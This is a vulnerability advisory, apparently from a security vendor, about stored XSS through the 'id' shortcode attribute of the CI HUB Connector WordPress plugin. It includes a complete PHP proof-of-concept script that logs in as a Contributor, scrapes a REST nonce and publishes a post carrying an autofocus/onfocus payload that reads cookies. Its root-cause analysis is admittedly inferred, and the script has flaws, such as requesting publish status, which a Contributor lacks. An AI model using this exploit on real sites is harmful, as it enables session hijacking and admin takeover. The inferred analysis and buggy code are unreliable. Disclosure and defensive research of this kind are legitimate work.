Atomic Edge analysis of CVE-2026-4353 (metadata-based): This vulnerability allows authenticated attackers with Contributor-level access or higher to inject arbitrary JavaScript via the ‘id’ attribute of the `cihub_metadata` shortcode in the CI HUB Connector plugin (versions <= 1.2.106). The stored cross-site scripting (XSS) occurs when an attacker creates or edits a post/page using the shortcode with a malicious payload. The vulnerability has a CVSS score of 6.4 (medium severity), reflecting the need for authentication but the ability to affect multiple users who view the injected content.
Root cause: The plugin likely registers the `cihub_metadata` shortcode using `add_shortcode()` and passes the 'id' attribute directly into a shortcode output function. Atomic Edge analysis infers that the plugin does not properly sanitize the 'id' parameter via functions like `sanitize_text_field()` or `intval()` (since the ID is likely numeric). Additionally, output escaping via `esc_attr()` or `wp_kses()` is missing when embedding the attribute value into HTML. The CWE-79 classification confirms improper neutralization of user-controlled input during page generation. Without a code diff, this conclusion is inferred from the CWE and typical shortcode implementation patterns.
Exploitation: An attacker with Contributor-level access logs into WordPress and navigates to the post editor. They insert the shortcode with a crafted 'id' parameter containing JavaScript, e.g.: `[cihub_metadata id=''onfocus='alert(1)'autofocus='']`. When the post is saved and viewed by other users (including administrators), the injected script executes in their browsers. The attack vector is via the WordPress admin panel (REST API or classic editor) where shortcodes are processed. The payload is stored in the post content and executed on every page load.
Remediation: The plugin should sanitize the 'id' attribute as an integer (e.g., using `intval()`) since it likely represents a numeric identifier. If alphanumeric IDs are needed, the plugin must use `sanitize_text_field()` to strip HTML and unwanted characters. Output escaping with `esc_attr()` when rendering the attribute value in HTML attributes is mandatory. A patch should also verify that the user has the correct capabilities (e.g., `edit_posts`) and possibly introduce a nonce check for shortcode processing.
Impact: Stored XSS enables attackers to execute arbitrary JavaScript in the context of any user who views the compromised page. This can lead to session hijacking, credential theft, defacement, or privilege escalation (if an admin views the page, the attacker can potentially create new admin accounts or install malicious plugins). The attack affects all users of the WordPress site, making it a serious security risk despite requiring Contributor-level access.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4353 - CI HUB Connector <= 1.2.106 - Authenticated (Contributor+) Stored XSS via 'id' Shortcode Attribute
// Configuration
$target_url = 'http://example.com'; // Change to target WordPress URL
$username = 'attacker'; // Change to Contributor-level account username
$password = 'password'; // Change to Contributor-level account password
// Shortcode payload: inject onfocus event with autofocus to trigger XSS
$payload = "'onfocus='alert(document.cookie)'autofocus='";
$shortcode = '[cihub_metadata id="' . $payload . '"]';
// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'rememberme' => 'forever',
'wp-submit' => 'Log In'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
// Check if login succeeded
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
die("Login failed. Check credentials.n");
}
echo "[+] Login successful.n";
// Step 2: Get wpnonce for creating a post via REST API (WordPress 5.0+)
// We need to create a new post with the malicious shortcode in the content
$rest_url = $target_url . '/wp-json/wp/v2/posts';
// We need a nonce. Fetch from admin page or compute from cookie
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);
// Extract REST API nonce from JavaScript (simplified; real extraction would need regex)
preg_match('/wpApiSettings = {.*?nonce: "([^"]+)"/s', $response, $matches);
if (!isset($matches[1])) {
die("Could not retrieve REST API nonce.n");
}
$nonce = $matches[1];
echo "[+] Retrieved nonce: $noncen";
// Step 3: Create a new post with the XSS payload in the content
$post_data = [
'title' => 'CVE-2026-4353 PoC',
'content' => $shortcode,
'status' => 'publish'
];
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'X-WP-Nonce: ' . $nonce
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code == 201) {
$post = json_decode($response, true);
echo "[+] Post created successfully.n";
echo "[+] View the injected page at: " . $post['link'] . "n";
echo "[+] Payload executed when an admin views the page.n";
} else {
echo "[!] Failed to create post. HTTP code: $http_coden";
echo "Response: " . substr($response, 0, 500) . "n";
}
curl_close($ch);
?>
